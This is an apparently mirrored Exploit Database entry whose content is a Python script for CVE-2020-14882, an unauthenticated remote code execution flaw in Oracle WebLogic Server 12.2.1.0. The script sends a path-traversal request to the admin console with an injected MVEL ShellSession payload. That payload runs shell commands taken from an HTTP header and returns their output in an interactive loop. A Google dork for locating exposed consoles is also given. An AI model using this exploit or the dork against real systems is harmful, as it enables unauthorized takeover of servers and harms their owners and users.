Oracle WebLogic Server 12.2.1.0 – RCE (Unauthenticated)

• Exploit Database
• 17 阅读

• 作者： CHackA0101
  日期： 2021-01-26
• 类别：

  • webapps
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/49479/

• # Exploit Title: Oracle WebLogic Server 12.2.1.0 - RCE (Unauthenticated)
  # Google Dork: inurl:"/console/login/LoginForm.jsp"
  # Date: 01/26/2021
  # Exploit Author: CHackA0101
  # Vendor Homepage: https://www.oracle.com/security-alerts/cpuoct2020.html
  # Version: Oracle WebLogic Server, version 12.2.1.0
  # Tested on: Oracle WebLogic Server, version 12.2.1.0 (OS: Linux PDT 2017 x86_64 GNU/Linux)
  # Software Link: https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
  # CVE : CVE-2020-14882
  
  # More Info: https://github.com/chacka0101/exploits/blob/master/CVE-2020-14882/README.md
  
  #!/usr/bin/python3
  
  import requests
  import argparse
  import http.client
  http.client.HTTPConnection._http_vsn=10
  http.client.HTTPConnection._http_vsn_str='HTTP/1.0'
  parse=argparse.ArgumentParser()
  parse.add_argument('-u','--url',help='url')
  args=parse.parse_args()
  
  proxies={'http':'127.0.0.1:8080'}
  cmd_=""
  
  # Headers
  headers = {
  	"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15;rv:73.0)Gecko/20100101 Firefox/73.0",
  	"Accept":"application/json,text/plain,*/*",
  	"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
  	"Accept-Encoding":"gzip,deflate",
  	"Upgrade-Insecure-Requests":"1",
  	"Content-Type":"application/x-www-form-urlencoded",
  	"Cache-Control":"max-age=0",
  	"Connection":"close"
  }
  
  # Oracle WebLogic Server 12.2.1.0 - Unauthenticated RCE via python Explotation:
  url=args.url+"""/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec();");"""
  url_=args.url+"/console/images/%252E%252E%252Fconsole.portal"
  
  form_data_="""_nfpb=false&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread=(weblogic.work.ExecuteThread)Thread.currentThread();
  weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
  java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
  field.setAccessible(true);
  Object obj = field.get(adapter);
  weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
  String cmd = req.getHeader("cmd");
  String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe","/c", cmd} : new String[]{"/bin/sh","-c", cmd};
  if (cmd != null) {
  String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\\A").next();
  weblogic.servlet.internal.ServletResponseImpl res=(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);
  res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
  res.getServletOutputStream().flush();
  res.getWriter().write("");}executeThread.interrupt();");"""
  
  #data_ = parse.urlencode(form_data_)
  results1=requests.get(url,headers=headers)
  
  if results1.status_code==200:
  	print("(Load Headers...)\n")
  	print("(Data urlencode...)\n")
  	print("(Execute exploit...)\n")
  	print("(CHackA0101-GNU/Linux)$ Successful Exploitation.\n")
  	while True:
  		cmd_test = input("(CHackA0101GNU/Linux)$ ")
  		if cmd_test=="exit":
  			break
  		else:
  			try:
  				cmd_ = cmd_test
  				headers = {
  					'cmd': cmd_,
  					'Content-Type':'application/x-www-form-urlencoded',
  					'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',
  					'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  					'Connection':'close',
  					'Accept-Encoding':'gzip,deflate',
  					'Content-Length':'1244',
  					'Content-Type':'application/x-www-form-urlencoded'
  				}
  				results_ = requests.post(url_, data=form_data_, headers=headers, stream=True).text
  				print(results_)
  			except:
  				pass
  else:
  	print("(CHackA0101-GNU/Linux)$ Fail.\n")